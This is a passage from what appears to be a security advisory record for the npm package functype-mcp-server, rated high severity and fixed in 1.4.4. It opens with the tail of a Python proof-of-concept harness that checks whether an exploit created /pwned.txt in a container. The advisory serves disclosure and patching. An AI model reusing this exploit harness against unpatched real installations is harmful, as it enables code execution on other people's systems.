===\")\n        sys.exit(0)\n\n    else:\n        # Distinguish failure modes\n        if not exploit_succeeded and run_result.returncode == 0:\n            verdict = \"INCOMPLETE\"\n            reason = (\n                \"/pwned.txt가 생성되지 않았으나 컨테이너는 정상 종료됨. \"\n                \"pnpm add 후 require.resolve 경로 확인 필요 — pnpm 가상 스토어 구조로 인해 \"\n                \"node_modules/functype 심볼릭링크가 예상 위치에 없을 수 있음.\"\n            )\n        else:\n            verdict = \"FAIL\"\n            reason = (\n                f\"컨테이너 종료 코드 {run_result.returncode}. \"\n                \"exploit.mjs 오류 또는 MCP 서버 시작 실패. 로그 확인 필요.\"\n            )\n\n        write_result(False, verdict, reason, combined[-2000:])\n        print(f\"[poc] === {verdict}: exploit did not reproduce ===\")\n        sys.exit(1)\n\n\nif __name__ == \"__main__\":\n    main()\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "functype-mcp-server"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.4.4"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.4.3"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/jordanburke/functype/security/advisories/GHSA-wcjj-9m6g-2fr2"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/jordanburke/functype/commit/c0d58ad9c2a7d15c6117bd3adbbd75de37317dcf"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/jordanburke/functype"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-829" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-09T23:49:20Z",
    "nvd_published_at" : null
  }
}